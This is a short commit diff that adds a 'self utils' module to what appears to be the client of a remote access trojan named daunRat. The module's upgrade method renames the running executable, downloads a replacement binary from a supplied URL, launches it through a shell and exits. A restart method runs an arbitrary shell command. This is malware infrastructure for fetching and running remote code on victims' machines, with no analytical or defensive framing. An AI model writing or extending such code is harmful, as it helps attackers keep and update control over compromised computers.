self utils added

client/modules/selfutil.py

@@ -0,0 +1,19 @@
+class daunrat:
+    @staticmethod
+    def upgrade(url: str, old: str = "daunRat.exe", destination: str = "daunRat.exe", command: str = "daunRat.exe"):
+        import requests
+        import subprocess
+        import sys
+        import os
+        os.rename(old, "olddaun")
+        with open(destination, 'wb') as f:
+            f.write(requests.get(url).content)
+        subprocess.Popen(command, shell=True, close_fds=True)
+        sys.exit(0)
+
+    @staticmethod
+    def restart(command: str):
+        import subprocess
+        import sys
+        subprocess.Popen(command, shell=True, close_fds=True)
+        sys.exit(0)